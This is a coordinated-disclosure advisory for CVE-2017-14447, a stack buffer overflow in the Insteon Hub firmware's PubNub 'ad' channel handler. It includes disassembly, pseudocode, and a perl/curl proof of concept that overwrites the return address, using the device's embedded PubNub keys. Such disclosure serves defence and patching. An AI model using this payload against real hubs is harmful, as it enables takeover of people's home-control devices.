CVE-2017-14447
An exploitable buffer overflow vulnerability exists in the PubNub message handler for the “ad” channel of Insteon Hub running firmware version 1012. Specially crafted commands sent through the PubNub service can cause a stack-based buffer overflow overwriting arbitrary data. An attacker should send an authenticated HTTP request to trigger this vulnerability.
Insteon Hub 2245-222 - Firmware version 1012
http://www.insteon.com/insteon-hub
8.5 - CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H
CWE-121: Stack-based Buffer Overflow
Insteon produces a series of devices aimed at controlling and monitoring a home: wall switches, led bulbs, thermostats, cameras, etc. One of those is Insteon Hub, a central controller which allows an end-user to use his smartphone to connect to his own house remotely and manage any other device through it. The Insteon Hub board utilizes several MCUs, the firmware in question is executed by a Microchip PIC32MX MCU, which has a MIPS32 architecture.
The firmware uses Microchip’s “Libraries for Applications” as core for the application code. Its functionality resides on a co-operative multitasking loop, which continuously executes all the existing tasks: the library already defines several tasks, e.g. for reading and sending network packets and calling the relative callbacks. Custom applications building on this library simply need to add new functions at the end of the loop, taking care of executing tasks as quickly as possible, or splitting them in several loop cycles, in order to let other tasks running smoothly.
To enable remote interaction via the Internet, Insteon Hub uses an online service called PubNub (https://www.pubnub.com/). End-users install the “Insteon for Hub” application on their smartphone. Both the smartphone application and Insteon Hub include the PubNub SDK, which allows for a bi-directional communication using PubNub’s REST API.
The interaction with PubNub happens by means of publish/subscribe methods. Each device has a series of channels it can subscribe to, in order to receive published messages.
To subscribe to a specific channel it’s enough to call the function pubnub_subscribe
(defined in the PubNub SDK), passing as parameter the channel name and a callback function that will be called when a message is received on the specified channel.
The device defines a function which parses messages received from PubNub on channel “ad”: sub_9d011224
. The function uses the cJSON
library for parsing “JSON” messages and receives a cJSON
object as parameter, which corresponds to the message fetched from PubNub.
As an example, this is a valid JSON message which is used to set the host and URL used by the device to request a firmware update:
{
"ser": "",
"cmd": "up_firm",
"h": "192.168.0.2",
"u": "/getfw"
}
The “ad” channel is used specifically for managing firmware operations. The function first checks that the ser
parameter is defined. Then it reads the cmd
parameter, and depending on its value it proceeds to extract other expected parameters, in this case h
and u
. Host and URL are then saved in a global variable for later processing.
The vulnerable code exists while handling the cmd
parameter:
seg000:9D011224 sub_9d011224:
seg000:9D011224
seg000:9D011224 var_B0 = -0xB0
seg000:9D011224 var_4C = -0x4C
seg000:9D011224 var_40 = -0x40
seg000:9D011224 var_30 = -0x30
seg000:9D011224 var_10 = -0x10
seg000:9D011224 var_C = -0xC
seg000:9D011224 var_8 = -8
seg000:9D011224 var_4 = -4
seg000:9D011224
seg000:9D011224 000 40 FF BD 27 addiu $sp, -0xC0
seg000:9D011228 0C0 BC 00 BF AF sw $ra, 0xC0+var_4($sp)
seg000:9D01122C 0C0 B8 00 B2 AF sw $s2, 0xC0+var_8($sp)
seg000:9D011230 0C0 B4 00 B1 AF sw $s1, 0xC0+var_C($sp)
seg000:9D011234 0C0 B0 00 B0 AF sw $s0, 0xC0+var_10($sp)
seg000:9D011238 0C0 21 80 80 00 move $s0, $a0 # ptr to cJSON object
...
seg000:9D0112A8 0C0 21 20 00 02 move $a0, $s0
seg000:9D0112AC 0C0 06 9D 05 3C lui $a1, 0x9D06
seg000:9D0112B0 0C0 F3 43 41 0F jal cJSON_GetObjectItem
seg000:9D0112B4 0C0 30 28 A5 24 la $a1, aSer # "ser"
seg000:9D0112B8 0C0 1D 00 40 10 beqz $v0, loc_9D011330 # goto fail
seg000:9D0112BC 0C0 21 20 00 02 move $a0, $s0
seg000:9D0112C0 0C0 06 9D 05 3C lui $a1, 0x9D06
seg000:9D0112C4 0C0 F3 43 41 0F jal cJSON_GetObjectItem
seg000:9D0112C8 0C0 30 28 A5 24 la $a1, aSer # "ser"
seg000:9D0112CC 0C0 32 E2 41 0F jal strlen
seg000:9D0112D0 0C0 10 00 44 8C lw $a0, 0x10($v0)
seg000:9D0112D4 0C0 19 00 42 2C sltiu $v0, 0x19
seg000:9D0112D8 0C0 07 00 40 14 bnez $v0, loc_9D0112F8
...
seg000:9D0112F8 loc_9D0112F8:
seg000:9D0112F8 0C0 06 9D 05 3C lui $a1, 0x9D06
seg000:9D0112FC 0C0 F3 43 41 0F jal cJSON_GetObjectItem
seg000:9D011300 0C0 30 28 A5 24 la $a1, aSer # "ser"
seg000:9D011304 0C0 90 00 A4 27 addiu $a0, $sp, 0xC0+var_30
seg000:9D011308 0C0 1F DF 41 0F jal strcpy
seg000:9D01130C 0C0 10 00 45 8C lw $a1, 0x10($v0)
seg000:9D011310 0C0 21 20 00 02 move $a0, $s0
seg000:9D011314 0C0 06 9D 05 3C lui $a1, 0x9D06
seg000:9D011318 0C0 F3 43 41 0F jal cJSON_GetObjectItem
seg000:9D01131C 0C0 24 28 A5 24 la $a1, aCmd # "cmd"
seg000:9D011320 0C0 09 00 40 14 bnez $v0, loc_9D011348
...
seg000:9D011348 loc_9D011348:
seg000:9D011348 0C0 06 9D 05 3C lui $a1, 0x9D06
seg000:9D01134C 0C0 F3 43 41 0F jal cJSON_GetObjectItem
seg000:9D011350 0C0 24 28 A5 24 la $a1, aCmd # "cmd"
seg000:9D011354 0C0 80 00 A4 27 addiu $a0, $sp, 0xC0+var_40
seg000:9D011358 0C0 1F DF 41 0F jal strcpy # [1]
seg000:9D01135C 0C0 10 00 45 8C lw $a1, 0x10($v0)
Looking at the pseudocode:
if (cJSON_GetObjectItem(obj, "ser")) {
if (strlen(cJSON_GetObjectItem(obj, "ser")) < 0x19) {
strcpy(buf_ser, cJSON_GetObjectItem(obj, "ser")->valuestring);
if (cJSON_GetObjectItem(obj, "cmd")) {
strcpy(buf_cmd, cJSON_GetObjectItem(obj, "cmd")->valuestring);
...
}
...
}
...
}
...
The src
parameter for strcpy
at [1] is unconstrained, and can lead to a stack-based buffer overflow.
The following proof of concept shows how to overflow the buffer and overwrite $ra
to jump to “0x9d008d30”: this simulates a call to the AnnouunceIP
function, so that a series of packets on UDP port 30303 can be seen upon successful exploitation.
To send a message, an HTTP GET should be used which embeds the JSON string in the “path” portion of the URL:
$ curl https://pubsub.pubnub.com/publish/<pub>/<sub>/<callback>/<channel>/<payload>?auth=<auth-key>
<pub>: PubNub's publishKey. The device uses pub-c-a415cc66-b0ca-4d1d-8d9e-947390b35df3
<sub>: PubNub's subscribeKey. The device uses sub-c-e1c54032-1685-11e4-b69f-02ee2ddab7fe
<callback>: can be set to 0
<channel>: composed by "<insteon-id>-<channel-suffix>". <insteon-id> corresponds to the lower 3 octets of the MAC address and <channel-suffix> is the actual channel name, in this case "ad" (example of full channel name: 112233-ad)
<payload>: contains the JSON message string, the minimal JSON for Insteon is {"ser":""}
<auth-key>: key for access control, 16 bytes hex-encoded
The “cmd” buffer is at $sp+0xC0-0x40
while $ra
is saved at $sp+0xC0-0x4
. The saved $ra
already points to the parent function which has the most significant byte set to “0x9d”, so in order to overwrite the return address with “0x9d008d30”, this command could be used:
$ sPayload=$(perl -e 'print "A"x(0x40-4),"%30%8d"')
$ curl 'https://pubsub.pubnub.com/publish/pub-c-a415cc66-b0ca-4d1d-8d9e-947390b35df3/sub-c-e1c54032-1685-11e4-b69f-02ee2ddab7fe/0/112233-ad/0/\{"ser":"","cmd":"'$sPayload'"\}?auth=00112233445566778899AABBCCDDEEFF'
2017-12-05 - Vendor Disclosure
2018-01-18 - Vendor advised issues under evaluation
2018-02-12 - 60 day follow up with vendor
2018-03-09 - Vendor advised working on course of action
2018-04-06 - Follow up with vendor on fix/timeline
2018-04-12 - Vendor advised issues addressed & plan for beta testing
2018-06-19 - Public disclosure
Discovered by Claudio Bozzato of Cisco Talos.